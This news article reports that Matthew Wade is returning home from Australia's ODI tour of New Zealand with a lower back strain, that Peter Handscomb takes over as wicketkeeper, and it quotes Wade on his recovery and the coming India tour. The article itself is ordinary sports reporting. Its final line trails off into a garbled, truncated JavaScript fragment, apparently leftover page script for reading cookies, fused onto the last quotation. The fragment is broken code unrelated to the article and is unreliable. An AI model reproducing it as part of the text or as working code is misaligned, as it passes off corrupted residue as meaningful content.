Australian wicketkeeper Matthew Wade will head home from the ODI tour of New Zealand due to a lower back injury.
Wade, who was set to captain in the ODI side in the absence of Steve Smith and David Warner for the three match series, missed the opening game due to the minor strain and has now been ruled out of the remainder of the series as he turns his attention to the Test tour of India later this month.
Victorian teammate Peter Handscomb will take over the keeping duties for the remaining two matches.
"It's not a major injury but with the short turnaround between matches and the four-and-a-half hour journey by bus to Hamilton for the next match, it’s been decided it’s best for me to go home and get some treatment in Melbourne," Wade said on Wednesday.
"With Dubai and then India I'd say I'd definitely be right for that. I'll get that bit of treatment in Melbourne and we're hopeful it'll be fine by Sunday or Monday and I can be on a flight to Dubai and start training pretty much as soon as I hit the ground there.
"It's happened to me once before, in Ireland a couple of years ago. I did it the day before the game then and was right to go the next day.
"This one's just taken a little bit more time and there’s no reason why that’s happened. Sometimes you recover really quickly and at other times it’s a little slower.
"It's heartbreaking I couldn't take the field as captain but it has been a real honour to have been appointed captain and to be able to lead the group in the time I've been here in New Zealand.
"And after all, it's all about the team, it's not about me.
"Hopefully we can win the next two games and win the series." "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
